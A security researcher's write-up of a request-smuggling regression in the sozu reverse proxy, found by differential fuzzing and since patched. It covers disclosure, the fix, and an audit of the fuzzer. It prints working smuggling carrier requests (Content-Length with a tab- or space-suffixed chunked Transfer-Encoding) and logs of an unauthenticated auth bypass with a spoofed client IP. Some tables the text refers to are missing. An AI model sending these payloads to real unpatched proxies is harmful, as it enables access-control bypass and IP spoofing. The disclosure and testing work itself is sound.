the thing that bugged me

I want to start with the failure, because the failure is the whole reason this exists.

I had spent about a week pointing an evolutionary HTTP fuzzer at eight reverse proxies. HAProxy, nginx, Caddy, Envoy, Apache Traffic Server, sozu, OpenLiteSpeed, Apache httpd. The target class was request smuggling in the HTTP/3 and HTTP/2 to HTTP/1.1 downgrade, the part where a proxy takes a modern framed request and re-serializes it as HTTP/1.1 for an origin that only speaks 1.1. Every run came back clean.

flowchart LR
  C["client: H2 / H3 framing"] --> F["8 fronts (real Docker)"]
  F --> B["one strict backend<br/>frames by Content-Length"]
  B --> O["oracle: 1 request<br/>clean, clean, clean"]

The oracle was positive controlled. The sentinels fired on a known-vulnerable build. The labs were real Docker with real backends, not mocks. And the answer, every time, was one request framed, nothing smuggled. Eight stacks, weeks of compute, a clean sheet.

The bug was in my capture logs the whole time. I had built the test so it could never see it.

That sentence is the post. Everything below is how I got there and what fell out of it.

the oracle that could not fail

Before the good part, the discipline, because it is where the trap was hiding.

A smuggling oracle is a counter. You fire one request at the front, and you count how many requests the backend framed out of it. One is benign. Two or more is a smuggle. The whole apparatus is trustworthy only if you can make it say two on demand, so every run started with a sentinel: a plainly pipelined pair of requests that a correct backend must frame as two. If the sentinel does not light up, the oracle is blind and every clean result is noise. I had been burned by silent oracles before, so this was non-negotiable.

The backend I used to count was a small server that read the request headers, then read exactly Content-Length body bytes, logged the request line, responded, and looped. Clean, deterministic, and it framed the pipelined sentinel as two every time. It looked like a perfect oracle.

It was a perfect oracle for exactly one class of bug and blind to the one I was hunting. It framed everything by Content-Length. If a front forwarded a request that framed differently under Transfer-Encoding, my counter read it by Content-Length, agreed with whatever the front intended, and logged one. The sentinel proved the counter could reach two. It did not prove the counter could reach two for the bug I cared about. Those are different guarantees, and I had conflated them.

I found this the slow way. An earlier HTTP/2 poisoning oracle I built never once fired a true positive across a full run, and I nearly filed that as “the H2 path is clean.” Then I injected a known-good poisoning payload by hand and watched it stay silent. The oracle was structurally incapable of seeing the thing. A negative from an instrument you have not proven can produce a positive on the exact bug is not evidence of absence. It is an untested instrument. Write that on the wall.

what already exists, and why the method is not mine

I did the homework before I wrote a word about methodology, because the worst outcome in this genre is dressing up a known technique as a discovery. The differential-fuzzing-for-smuggling space is not empty. It is well tilled, and two papers own the ground I was standing on.

• T-Reqs (Jabiyev et al., CCS 2021) is the grammar-based differential HTTP fuzzer. They generated mutated requests, ran ten server, proxy and CDN technologies in pairs, and found the pairs that disagree on message boundaries. Panel-pair differential fuzzing for HRS is theirs.
• The HTTP Garden (2024) is the one that should have saved me a week. Its whole thesis, in the abstract, is that not all parsing-discrepancy vulnerabilities are visible from a gateway’s output alone, so you have to examine how the origin interprets the bytes too. That is exactly the mistake I was about to make, written down and published two years before I made it.

So the method here is not new, and what I did wrong is a re-derivation of the HTTP Garden’s central point. The trigger I ended up with is older still. I am flagging both up front so the rest of the post keeps its credibility. The value is one specific implementation bug, since patched, an honest walk to it, and one small thesis at the end. Not a technique.

The fuzzer is called Phage. The name carries the lesson, so let me use it; what it actually is, and how it works, is in the appendix at the end.

the host it could not infect

A bacteriophage does not infect life in general. It infects one host, sometimes one strain, because the fit between the phage tail fiber and the host’s surface receptor is specific. Wrong pair, nothing happens. The virus bounces off and drifts away.

A request smuggling vector has the same shape. It is not a property of a proxy. It is a property of a pair: a front that draws the message boundary one way, and a back that draws it another. The bug lives in the disagreement, not in either parser alone. CWE-444 even says so in its name, inconsistent interpretation.

I varied the front eight ways and held the back fixed at one immune host.

flowchart TD
  subgraph blind["what I built"]
    F1["8 diverse fronts"] --> BB["1 strict CL backend"]
    BB --> R1["every front looks clean"]
  end
  subgraph fixed["the fix"]
    F2["same 8 fronts"] --> GG["+ a TE-honoring backend"]
    GG --> R2["the disagreement shows up"]
  end

Eight fronts, one host. If a front emitted a message that only a different kind of backend would misread, my one backend read it the way the front intended, the two agreed, and the counter said one. I had a panel and I told myself it was diverse. It was diverse on the one axis that could not produce a hit.

grepping my own logs

I stopped fuzzing and did the least clever thing available. I wrote a twenty-line parser and walked every byte my fronts had already forwarded to the backend across all those clean runs, looking only for framing ambiguity: both Content-Length and Transfer-Encoding on one request, a chunk size that did not match, a duplicate header. One hit came back, from sozu:

AAAAGET /admin HTTP/1.1
Host: lab
Content-Length: 40
Transfer-Encoding: chunked, identity
X-Forwarded-For: 172.46.0.1
Sozu-Id: 01KX...

0

GET /smuggled HTTP/1.1
Host: x

Two framing headers on one request. sozu had added its own Sozu-Id, so this was sozu’s output, not my input echoed back. And the smuggled GET /smuggled that followed carried no Sozu-Id, which meant sozu never parsed it as a request. sozu framed the whole thing by Content-Length, swallowed the trailing bytes as an opaque body, and forwarded the Transfer-Encoding header along with them, untouched.

flowchart TB
  W["one request on the wire<br/>GET /admin<br/>Content-Length: 40<br/>Transfer-Encoding: chunked, identity<br/><br/>body: 0-chunk then GET /smuggled"]
  W --> S["sozu reads Content-Length<br/>takes 40 opaque bytes as the body"]
  W --> G["a TE-honoring backend reads Transfer-Encoding<br/>de-chunks, stops at the 0-chunk"]
  S --> SR["1 request<br/>/admin, with junk in its body"]
  G --> GR["2 requests<br/>/admin with an empty body,<br/>then /smuggled"]
  SR -.->|"the gap between these<br/>two readings is the bug"| GR

My strict backend also framed by Content-Length, agreed with sozu, and the smuggle stayed invisible. A backend that honors the Transfer-Encoding would split it in two. So I added one Go net/http backend to the panel.

The captured value did not fire. Go answers chunked, identity with a 501, which I only understood later when I built the matrix. What the log hit actually proved was the class, not the payload: sozu was willing to forward both framing headers on one request, and that is the whole precondition. The payload was a search problem after that, and it was a short search. Walking the obfuscations that sozu also fails to recognize, the two whitespace variants fire.

the trigger is old, the bug is back

The value sozu choked on is Transfer-Encoding: chunked with a trailing tab. Send that plus a Content-Length, and sozu does not recognize the tab-suffixed token as chunked, so it frames by Content-Length and forwards both headers. Go trims the trailing tab, sees chunked, frames by Transfer-Encoding, reads the empty terminating chunk, and treats the bytes after it as a fresh request.

flowchart TD
  A["GET /admin<br/>Content-Length: 40<br/>Transfer-Encoding: chunked+TAB<br/>body = empty-chunk + GET /smuggled"]
  A --> S["sozu"]
  S -->|"tab not recognized, frame by CL"| SR["forwards BOTH headers<br/>1 request, 40-byte body"]
  SR --> G["Go net/http backend"]
  G -->|"trims tab, honors TE"| GR["2 requests<br/>/admin then /smuggled"]

Here is the part that made me laugh and then wince. This exact trigger is in sozu’s own issue tracker, #726, reported in 2021 out of a BuckeyeCTF challenge. It was fixed then by a patch that trimmed linear whitespace from the header value. Then sozu 2.0 rewrote its HTTP layer onto a parser crate called kawa, and the trim did not come along. The fix regressed.

The root cause is four lines in kawa’s HTTP/1 parser:

const CHUNKED: &[u8] = b"chunked";
if val.len() >= CHUNKED.len()
    && compare_no_case(&val[val.len() - CHUNKED.len()..], CHUNKED)
{ /* elide content-length, frame as chunked */ }

It checks whether the last seven bytes equal chunked. No trailing-whitespace trim, no handling of a transfer-parameter like chunked;a=b, no check that chunked is the final coding in a list. When the check fails it keeps Content-Length and never strips the Transfer-Encoding it did not understand, so both go out. RFC 9112 section 6.1 says an intermediary must not forward both.

The whole bug is visible in seven bytes of arithmetic. Take the header value, slice the last seven bytes, compare:

Row one is the only row sozu’s own regression test exercises, and it is the only row that behaves. Every other row is a request that leaves sozu carrying two framing headers.

There is a second, funnier half. The same slice is wrong in the other direction:

xchunked is the classic TE.CL obfuscation, and sozu’s check reads it as chunked. I expected a second desync out of that and went to test it. I did not get one, and the reason is worth more than the result would have been:

sozu 2.1.0, does the smuggled /admin/secret reach the origin?
  TE: 'chunked'              smuggled_reached_backend=False   <- well-formed, handled correctly
  TE: 'chunked\t'            smuggled_reached_backend=True    <- the bug
  TE: 'chunked '             smuggled_reached_backend=True    <- the bug
  TE: 'xchunked'             smuggled_reached_backend=False
  TE: 'notchunked'           smuggled_reached_backend=False
  TE: 'identity'             smuggled_reached_backend=False   <- negative control

When the suffix matches, sozu commits to chunked and elides the Content-Length. It then de-chunks the body itself, hits the zero-length chunk, and treats everything after it as the next request on the client connection. Which it then parses, routes, and authenticates. The bytes I wanted to smuggle came back as an ordinary pipelined request wearing no disguise. A parser that is wrong in a way that makes it read more of your input is not exploitable in the same direction as one that is wrong in a way that makes it read less. Only the under-reading direction leaves bytes on the wire for someone else to frame.

And the reason nobody caught the regression: sozu’s own smuggling test sends a well-formed Transfer-Encoding: chunked, which passes the suffix check and is handled correctly. The test never sends a malformed value, so the regression landed exactly in the blind spot of the test written to prevent it. At the time of the report I confirmed it on the then-latest tagged release, 2.1.0, and on current main, 2.1.1, over a plain HTTP frontend and a TLS-terminating one, since the parser runs after the TLS decrypt. It is fixed now, in kawa 0.7.0 and sozu 2.2.0. The patch is at the end of this post.

how far it actually goes

The primitive is clean: I can deliver a request to the backend that sozu never parsed, routed, filtered, or logged. What that is worth depends on what the backend trusts. The strongest thing I could demonstrate end to end is an authentication bypass, and it needed a feature sozu did not have in 2021.

sozu 2.x added per-frontend HTTP Basic auth. So I set up two frontends on one backend cluster: /public open, /admin gated. A direct GET /admin/secret returns 401.

flowchart LR
  A["attacker, no credentials"] -->|"GET /public/x<br/>+ smuggled GET /admin/secret"| S["sozu"]
  S -->|"/public is open, forwards"| B["backend"]
  B -->|"frames two: /public/x, then /admin/secret"| X["/admin/secret served<br/>no Authorization header"]
  A -->|"follow-up on same keep-alive conn"| S
  S -->|"reads the queued response"| R["attacker reads the gated body"]

The run, verbatim, the controls first so the gate is real:

== controls ==
  direct GET /admin/secret (no creds)   -> HTTP/1.1 401 Unauthorized
  direct GET /admin/secret (with creds) -> HTTP/1.1 200 OK
== exploit (unauthenticated) ==
  REQ GET /public/x     auth="" xff="172.63.0.1" te=[chunked]
  REQ GET /admin/secret auth="" xff="6.6.6.6"                  <- smuggled, no auth
  REQ GET /public/y     auth="" xff="172.63.0.1"
== negative control: same bytes, Transfer-Encoding removed ==
  /admin/secret leaked in control: False
  RESULT: AUTH BYPASS REPRODUCED

Drop the one Transfer-Encoding header and the whole thing collapses to two boring public requests. That negative control is the finding. The precondition rides with the severity and I will not bury it: this needs auth on one route while an attacker-reachable route shares the backend. Gate the whole frontend and the carrier itself needs auth, and the bypass dies. High, conditional on topology, not a flat high. CVSS 7.5, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N. The AC:H is carrying the topology precondition and the S:C is the crossing of sozu’s own auth boundary. Score the crate on its own, without the auth topology, and you land on a different vector for the same defect, which is the one I put in the RustSec advisory.

Note the xff="6.6.6.6" on the smuggled line. sozu appends the real client IP to X-Forwarded-For on requests it parses. It never parsed this one, so the backend gets an attacker-chosen client IP, clean. Any XFF allowlist behind sozu is spoofable through the same door.

the walls I hit

This is the honest half, the part where the impact stops. I wanted cross-user, the version that would make it critical, and I could not get there. I want to show the walls because the walls are the finding too.

Response-queue poisoning: negative. After sozu framed the attack by CL and read one response, the backend had a second response queued (for the smuggled request). If sozu pooled that connection for another client, the next victim would read the stale response. I fired the attack, then a victim on a separate connection. The victim got its own response. Clean.

Dangling-request capture: negative. I tried the sharper version: a smuggled request with an incomplete body, so the backend holds the connection waiting and captures the next victim’s bytes. Same result. The victim landed on a fresh backend connection.

Both failed for the same reason, and I confirmed it twice, once by watching source ports and once by reading the source:

flowchart TD
  C1["client 1"] --> P1["backend conn :60694"]
  C2["client 2"] --> P2["backend conn :36386"]
  C3["client 3"] --> P3["backend conn :42740"]
  P1 -. never handed to another client .-> C2

sozu binds one backend connection per client connection. Four separate clients get four backend ports; a poisoned connection is the attacker’s own, closed when they leave. The response read-back in the auth bypass works only because it is the attacker reading over their own connection. That one-to-one model is a genuinely good design choice, and I am not going to pretend it away because a bigger number would read better.

The last escape hatch was a shared cache: poison a cache entry once, serve it to everyone, no connection reuse needed. So I ran a cache-and-proxy honor matrix. The two caches people actually deploy shut the door:

Only Go-based caches honor it, and I did not choreograph the full store-and-serve. So the cross-user path is alive by mechanism on a narrow, Go-flavored slice of the world and dead on the common one. Real, demonstrable, high-conditional, honestly not critical.

the patch

I reported it privately on 10 July 2026 to security@clever.cloud, the address in their .well-known/security.txt, as a regression of #726. The ask was to fix it at the class, not the trigger. The defect is forwarding both Content-Length and Transfer-Encoding at all. Trim the tab and chunked, identity still slips through, and Werkzeug honors that one. The right fix is to reject or normalize whenever a Transfer-Encoding is present but does not resolve to a valid final chunked, never to fall back to Content-Length and forward a header you did not understand.

Four days later, kawa PR #19 landed and did exactly that. The four lines above became this:

/// Trims leading and trailing optional whitespace (OWS) as defined by
/// RFC 9110 §5.6.3: space (0x20) and horizontal tab (0x09).
fn trim_ows(mut data: &[u8]) -> &[u8] {
    while let [b' ' | b'\t', rest @ ..] = data { data = rest; }
    while let [rest @ .., b' ' | b'\t'] = data { data = rest; }
    data
}

/// Returns true if the FINAL comma-separated transfer-coding token of a
/// Transfer-Encoding header value is `chunked`, case-insensitively, once
/// OWS has been trimmed from around the token (RFC 9112 §6.1).
fn ends_with_chunked_coding(val: &[u8]) -> bool {
    const CHUNKED: &[u8] = b"chunked";
    let last_token = val.rsplit(|&b| b == b',').next().unwrap_or(val);
    compare_no_case(trim_ows(last_token), CHUNKED)
}

Both halves of the class are gone. trim_ows kills the tab and the trailing space. ends_with_chunked_coding splits on commas and checks the final token, which kills chunked, identity. And when a Transfer-Encoding is present but its final coding is not chunked, the parser now raises a parse error instead of quietly falling back to Content-Length, which is what RFC 9112 section 6.3 has been asking for the whole time. The comment they left in the source says it closes sozu-proxy/sozu#726.

That is the correct fix, and it is a better outcome than a patch that only trimmed the tab.

where it stands

The timeline, plainly:

• 10 July 2026, reported privately with a full write-up and a self-contained Docker reproduction.
• 14 July, three commits land in kawa PR #19 removing the suffix compare.
• 15 July, PR #19 merges, kawa 0.7.0 and 0.7.1 ship.
• 16 July, sozu 2.2.0 ships, pinned to kawa ^0.7.1. Its release notes call the change “HTTP/1 Transfer-Encoding smuggling hardening”.

If you run sozu, upgrade to 2.2.0. If you depend on kawa directly, upgrade to 0.7.0 or later. Everything before that carries the bug.

I never got a reply to the email. At the time of writing there is no CVE and no advisory, and the kawa release notes present the change as an RFC-correctness fix, so anyone still on 0.6.x has no signal that they should upgrade for a smuggling bug. That gap is worth closing on its own, so I filed a RustSec advisory for the crate, affected < 0.7.0, patched 0.7.0. I am not going to speculate about why the mail went unanswered. The fix is good, it is out, and it landed fast.

No new technique. The trigger is from 2019, the bug is a regression of a 2021 report, and the method belongs to the two papers I cited up top. What was worth the week is smaller and more useful: a differential is only as strong as the diversity on both sides of it, one immune host makes every attacker look harmless, the honor matrix says the vulnerable unit is the parser and not the product, and the moment I added a host that disagrees, a request that had sat in my logs for days became an auth bypass.

part two: the instrument

Everything above is one bug, found the slow way, by a person reading logs. The interesting question is not that bug. It is why a week of automated search could not see it, and what the search should have looked like instead.

The answer is in the shape of the class, and it was sitting in the phage analogy near the top the whole time.

a disagreement is two independent facts

Take the classic CL.TE desync apart and look at what each side contributes.

The front receives a request carrying both a Content-Length and some malformed Transfer-Encoding. It has to decide which one frames the message. If it picks Content-Length and then forwards the Transfer-Encoding anyway, it has handed the backend a second opinion it did not itself accept.

The back receives that request and makes its own decision. If it honors the Transfer-Encoding the front ignored, the two now disagree about where the message ends, and the bytes past that boundary become a request nobody authorized.

flowchart LR
  A["client sends<br/>CL + malformed TE"] --> F["front"]
  F -->|"frames by CL,<br/>forwards TE anyway"| B["back"]
  B -->|"honors TE,<br/>frames somewhere else"| D["disagreement<br/>= smuggled request"]

Neither half is a vulnerability. A front that forwards both headers is harmless behind a backend that rejects the value. A backend that honors chunked<TAB> is harmless behind a front that strips it. The bug is the conjunction, and the conjunction is exactly what makes pair testing expensive: the property you are measuring is a product of two things you keep measuring together.

So measure them apart.

• Front question: for each framing value, does this proxy forward it next to a Content-Length?
• Back question: for each framing value, does this server honor it?

A pair is predicted to desync when the answer to both is yes for the same value. Seven fronts and eleven backends is seventy-seven pairs, and it costs eighteen experiments.

flowchart LR
  subgraph pairwise["testing pairs: 1 experiment per pair"]
    direction TB
    P1["front A + back A"] --> R1["1 bit"]
    P2["front A + back B"] --> R2["1 bit"]
    P3["front B + back A"] --> R3["1 bit"]
    P4["...n x m runs"] --> R4["nothing transfers"]
  end
  subgraph halves["measuring halves: n + m experiments"]
    direction TB
    FH["front half<br/>does it FORWARD the value?"] --> J{"join"}
    BH["back half<br/>does it HONOR the value?"] --> J
    J --> PR["n x m predictions"]
  end
  pairwise -.->|"the reframe"| halves

Change one backend in the pairwise world and every result you have is silent about it. Change one backend in the other world and you run a single measurement, then re-join.

measuring the back half

The backend question needs an answer to “did this server frame one request or two”, and I wanted it without writing a logging application in every language on the list.

The trick is to let the server tell you by how much it says. Send one request whose declared body contains a complete second request hidden behind a zero-length chunk. Then count HTTP responses on the connection.

POST /carrier HTTP/1.1
Host: lab
Content-Length: 43
Transfer-Encoding: chunked<TAB>

0

GET /SMUGGLED HTTP/1.1
Host: lab

One response means it read the body as forty-three opaque bytes and framed a single request. Two responses means it de-chunked, hit the zero-length terminator, and framed GET /SMUGGLED as a request in its own right. That is language-agnostic, so adding a backend is a container image and a one-line app.

flowchart TD
  C["one carrier request<br/>CL: 43 + malformed TE<br/>body hides GET /SMUGGLED"] --> S{"how does the<br/>server frame it?"}
  S -->|"reads 43 opaque bytes<br/>by Content-Length"| A["1 response<br/>CL-safe"]
  S -->|"de-chunks, sees the<br/>0-length terminator"| B["2 responses<br/>SMUGGLE"]
  S -->|"refuses the message"| D["4xx / 5xx<br/>reject"]

the part that makes it trustworthy

Here is where I have to be careful, because I have been burned by this exact thing.

Counting responses can only detect a second framed request on a connection the server keeps open. A backend that closes after one response cannot produce a two, ever, for any input. If I run that backend and report “no smuggling detected”, I have written down a fact about my instrument and labelled it a fact about the server.

So every row is gated on a control: two explicitly pipelined requests that any correct keep-alive server must answer twice. If the control does not come back with two responses, the counter cannot reach two on that backend, and every verdict from it is withheld as UNTRUSTED rather than published as safe.

flowchart TD
  START["new backend row"] --> CTL["control: two plainly<br/>pipelined requests"]
  CTL --> Q{"did it answer<br/>twice?"}
  Q -->|"no"| U["UNTRUSTED<br/>the counter cannot reach 2 here,<br/>so 'no smuggling' would be a fact<br/>about my instrument, not the server"]
  Q -->|"yes"| M["instrument proven<br/>able to say 2"]
  M --> V["run the variants"]
  V --> OUT["publish verdicts"]
  U -.->|"never becomes"| OUT

  gunicorn (sync)
    CONTROL FAILED (responses=1), verdicts untrusted
  Werkzeug (dev)
    CONTROL FAILED (responses=0), verdicts untrusted

Both of those close the connection after one response. I do not know whether they honor a tab-suffixed Transfer-Encoding, and the table says so instead of guessing. It is worth noting they are also poor smuggling targets for the same reason: without connection reuse there is no pooled connection to poison. But that is a separate argument, and I did not want the table to make it for me by accident.

The rule I keep coming back to: a negative from an instrument that has never produced a positive is not evidence of absence. It is an untested instrument.

measuring the front half

The front question is different. I do not care what the proxy answers me. I care what it says to the origin.

So the harness runs a byte-recording origin and reads the exact request head each proxy emits, which sorts every front into four buckets:

And the same discipline applies, harder. The first time I ran this across HAProxy, nginx, Caddy and Traefik, every single cell came back normalized or rejected. A clean sheet. I have seen that movie, so I did not believe it.

I added a front I already knew the answer for: sozu 2.1.0, the build carrying a Transfer-Encoding bug I had reported and which was fixed in kawa 0.7.0.

  sozu 2.1.0 (control, known-vulnerable)
    chunked              normalized
    chunked<TAB>         FORWARDS-BOTH
    chunked<SP>          FORWARDS-BOTH
    chunked;a=b          FORWARDS-BOTH
    chunked, identity    FORWARDS-BOTH

That row is not a finding, it is a calibration. It proves the instrument can produce a positive, which is the only thing that makes the four clean rows above it mean anything. The control lives in the repo as a permanent fixture, not as a thing I ran once and deleted.

the arithmetic showing up in the measurements

The sozu bug was a seven-byte suffix compare. The parser checked whether the last seven bytes of the header value were chunked, with no whitespace trim and no check that chunked was the final coding.

I expanded the variant axis to eleven header blocks, including some designed to probe that specific shape, and the front-side numbers reproduce the arithmetic without ever reading the source:

Every value whose final seven bytes are literally chunked gets acted on. Every value that pushes those bytes out of the window gets forwarded next to the Content-Length. The bug is visible in black-box measurements, in the shape of the results, which is a nicer way to find a suffix compare than reading Rust.

That is the argument for the variant axis being wide. Five values told me sozu was lenient. Eleven told me how it was lenient.

seventy-seven pairs

Join the halves and you get predictions. Seven fronts and eleven backends is seventy-seven pairs, computed from eighteen measurements, and four of them come back predicted:

Those are exactly the four backends I had confirmed by hand, on exactly the two variants that fire. The system reproduced a week of work from two independent measurement runs, neither of which knew about the other.

I want to be precise about what that does and does not prove. It does not prove the predictor finds new bugs; the only vulnerable front in the population is the one I put there as a control. What it proves is that the prediction is sound: measure the halves, join them, get the pairs that a human found the slow way.

A prediction is a hypothesis. The output file says so. Each pair still has to be fired end to end and confirmed against a negative control before it is a vulnerability, because a table cannot tell you whether a backend connection is actually pooled, whether the proxy binds one upstream connection per client, or whether anything downstream trusts what you smuggled. That is what the walls section in part one was about: I had a working desync against sozu and most of the impact I wanted was still walled off by its connection model.

what the table says that advisories cannot

Two rows in the backend table:

Same server. Same version. One command-line flag. Opposite verdict.

We track HTTP vulnerabilities by product and version, and that granularity is simply wrong for this class. The security boundary is the parser, and one product ships several. If you run an ASGI app, “am I exposed” does not depend on which server you chose, it depends on which parser you loaded, and there is no column for that in any advisory database I know of.

The same is true one layer out. Apache httpd was the only front in the population to answer a third way: it strips the Transfer-Encoding and forwards Content-Length alone. Not normalized, not rejected, stripped. That is a fifth behavior class nobody would think to ask about until a table has a hole in it.

That is the part I would keep if every bug in this post were patched tomorrow. Audit parsers, not products.

the axis nobody can measure yet

Everything above lives in HTTP/1 header semantics, where both halves are byte-inspectable and every tool in the field can generate the inputs.

That stops being true one layer down. QUIC has an extension in draft, reliable stream reset, whose RESET_STREAM_AT frame resets a stream but guarantees delivery up to a reliable-size offset. The load-bearing sentence is that a sender may emit several of them to reduce that size. You can send a hundred body bytes and then shrink how many of them count, after they are already on the wire.

No HTTP transport has ever let the sender do that. In H1 and H2 a sent byte is sent. Here the length is a value the attacker can move after committing to it, which is the same transport-length-versus-Content-Length axis as the standalone-FIN class, with a control that moves post-commit.

sequenceDiagram
    participant A as attacker
    participant F as downgrader
    participant B as pooled backend
    A->>F: HEADERS, Content-Length: 100
    F->>B: POST /evil, Content-Length: 100
    Note over F,B: the length is now committed downstream
    A->>F: 50 body bytes
    F->>B: 50 body bytes (streamed)
    Note over B: backend still owes 50 more
    A->>F: RESET_STREAM_AT reliable_size=5
    Note over F: "only 5 bytes counted"<br/>request complete, pool the conn
    F-->>B: (nothing retracted, 50 already sent)
    Note over F,B: front says 5, backend was told 100,<br/>45 bytes of the next request get eaten

The front cannot un-send what it already streamed. The shrink is free for the attacker and impossible for the proxy to honor retroactively.

Nobody has measured it, and the reason is boring: no public tool can emit the frame. aioquic does not implement it, and every H3 smuggling tool builds on a QUIC library and lets that library reassemble the stream honestly. So I taught Phage to write the raw frame, and pointed it at a downgrader that honors the extension the naive way: stream the body to a pooled backend, pass the client Content-Length, treat the reliable size as request-complete, return the connection to the pool.

NEG CONTROL (well-formed CL=4 + body):
  backend saw: ['POST /ctl HTTP/1.1', 'POST /VICTIM HTTP/1.1']   CLEAN
ATTACK (CL=100, 50 bytes sent, RESET_STREAM_AT reliable=5):
  backend saw: ['POST /evil HTTP/1.1', '4']                      POISONED

The victim’s request line gets eaten as the attacker’s missing body. Three standard proxy behaviors plus one naive reading of a draft extension, and the bytes are already committed downstream when the length shrinks underneath them.

Now the honest part, because this is the section where a post like this usually oversells. That downgrader is one I wrote. Every shipping stack I tested rejects the frame outright, and Google QUICHE implements it but ships it disabled, closing the connection with RESET_STREAM_AT not enabled. Breaking a proxy I built myself is a demonstration of a mechanism, not a vulnerability in anything you run. It is a primitive published before its attack surface deploys, and the only claim I will make is that when someone turns that flag on, the measurement should already exist.

Which is the same argument as the rest of the post. The matrix is not interesting because it found something. It is interesting because it is the shape of instrument that would notice.

a month later, I audited the instrument

Added 2026-09-06.

This post argues that a negative from an instrument you have not proven can produce a positive is not evidence of absence. In September I turned that on the instrument itself. It did not go well, and the interesting part is not the eleven defects I found. It is that the same rule has a second half I had never wired up.

Every one of the eleven had the same shape. Not a crash. A confident wrong answer, which is the only kind you cannot see from the output.

The response counter was the worst of them. It counted occurrences of the byte string HTTP/1.1 in whatever came back, so any backend that echoes your request body into its response, or any body that merely quotes a status line, scored as a smuggle. It also counted a 100 Continue as a framed request, which it is not. One line of code, wrong in both directions at once. It now walks the response stream properly: status line, headers, skip the body by Content-Length or by the chunk sizes, repeat. Both harnesses and the evolutionary oracle import the same copy now, because two copies of a parser is two answers to the same question.

The verdict classifier was inventing rejections. The test for “did the server refuse this” was b" 4" in first[:13], so a reply of binary junk starting 4\xff\xfe got published in the table as reject 4. There is a fifth verdict now, unknown, for a reply that does not parse as HTTP at all. “I could not measure this” and “the server refused it” are different facts and only one of them belongs in a results table.

And the drift checker, whose entire job is to notice when a verdict moves between runs, reported “no verdict changed” on a run where ten of eleven backends had failed to start. Errored rows carry no results, so the comparison loop never executed, and the silence read exactly like agreement. It exits 2 on a broken run now.

The rest were smaller: a container name that made ten of eleven backends collide, a temp directory at default permissions, a QUIC varint encoder that silently truncated values past 2^62. Two new preflights went in as flags, --calibrate to fire a known bug and a known-benign request through the oracle before a search starts, and --stabilize N to demote any hit that will not reproduce on N re-fires. The backend panel runs in parallel now, 268 seconds down to 91 at --jobs 4, byte-identical verdicts. Sixty thousand adversarial inputs through the new response parser: no hangs, no crashes, a closed vocabulary of five verdicts.

Then I pointed it at a live target, and that is where it got interesting.

the control I did not have

--calibrate had never actually run against a live proxy. The first time it did, it refused to start: oracle is BLIND to a known positive. The known positive is CVE-2026-33555, the standalone-FIN desync from the first half of this post, and the gate was telling me my own oracle could not see the bug the tool was built around.

It was right, and the reason is embarrassing in a satisfying way. The origin that produces the ground truth was logging the Content-Length header as the body length. Not the number of bytes that arrived. The declared one. So a request the proxy had truncated was byte-for-byte identical in the log to a well-formed one:

well-formed  CL:4  + 4 bytes   ->  n=1  boundaries=[(POST, /ctl,  4)]
CVE          CL:10 + 0 bytes   ->  n=1  boundaries=[(POST, /evil, 10)]

Two different events, one record. I fixed the parser to report what actually arrived, added the shortfall to the log, and wired it into the verdict so a short body counted as a desync. Calibration passed. A corpus-seeded search on a pre-fix HAProxy found six hits in twenty-five generations. Everything worked.

Then I ran the negative control, which is the only reason this section exists.

the fix that fired on everything

I replayed the minimized proof against HAProxy 3.0.26, which carries the fix. Three replays, three desyncs. On the patched build.

HAProxy 3.0.18-544bb1ea3 x3
  standalone-FIN (CVE)   n=1 short=10
HAProxy 3.0.26-9c2603415 x3
  standalone-FIN (CVE)   n=1 short=10

The short body is there on both, reproducibly, because it is not a symptom of the bug. It is a symptom of streaming. HAProxy forwards the request head to the origin as soon as it has it, and only afterwards decides the request is malformed or abandoned. The origin sees a promised body that never arrives either way. HAProxy’s own log says so plainly, CD-- and CH--, client aborted, and a 400 when the framing is bad.

sequenceDiagram
    participant A as client
    participant F as HAProxy (any build)
    participant O as origin
    A->>F: HEADERS, Content-Length: 10
    F->>O: POST /evil, Content-Length: 10
    Note over F,O: the head is streamed before<br/>the request has been judged
    A->>F: standalone FIN, no body
    F->>F: 3.0.18 completes it, 3.0.26 aborts it
    F-->>A: connection torn down
    Note over O: either way the origin logs one request<br/>short by exactly 10 bytes

So my fix for a blind oracle was a detector that fires on every HAProxy ever built. I had swapped a false negative for a false positive and the calibration gate waved it straight through, because calibration only asks whether the instrument can produce a positive. It never asks whether it can produce a negative.

That is the half I had never wired up. This post spent a page on prove your instrument can say two. The matching rule is prove your instrument can say one, on a target where the bug is fixed, before you believe anything it says about a target where it is not. A sentinel and a patched build are both required. I had shipped one of them and written a whole essay about it.

The short body stays in the log, because it is a real measurement and it is useful when you are staring at a capture. It stays out of the verdict. And the honest conclusion about the CVE class is one I would rather have found this way than after publishing a table: the counting oracle cannot reach it at all. It closes the backend connection after every burst, and standalone-FIN poisoning only shows up on the next request through a pooled connection. The lab that does reproduce it keeps its connections open and logs a request line per request, and there the victim arrives visibly chewed:

REQ POST /evil HTTP/1.1
REQ M_MARKER_ZZZZ HTTP/1.1      <- client sent GET /VICTIM_MARKER_ZZZZ

Ten bytes gone, exactly the Content-Length the proxy promised and never filled. That is the bug, and telling it apart from a proxy doing its job needs a boundary-aware oracle rather than a counting one. Which is the next thing to build, and now it is written down instead of assumed.

the five things I had not tested

Added 2026-09-06.

Having audited the instrument I went looking for what the post itself had left unmeasured, and there were five. Four are now closed and the fifth is closed differently than I expected.

The published table predated the audit. Every verdict in the matrix had been produced by the response counter that counted substrings. I re-measured all eleven backends with the rewritten reader and diffed against the August run: no verdict moved. That is the boring outcome and it is the one I wanted. A rewrite that silently changed published results would have been a much worse problem than the bug it fixed.

Seventy-seven predicted pairs, none of them ever fired. The post says a prediction is a hypothesis and then leaves every hypothesis sitting there. So the join now has a third program that takes one row of the table and stands it up for real: the front and the backend as containers with a byte tap between them, so the evidence is what actually crossed the wire rather than what either half was measured to do alone.

pair: sozu 2.1.0 (known-vulnerable)  ->  Go net/http   variant `chunked<TAB>`
  attack : front forwarded 342B, backend framed 2 response(s)
  control: front forwarded 333B, backend framed 1 response(s)
PAIR CONFIRMED
negative control clean

Every fire is bracketed by the identical carrier with the framing header deleted. All four predicted pairs confirmed, all four controls clean. That is the first time the arithmetic in the middle of this post has been checked end to end rather than one half at a time.

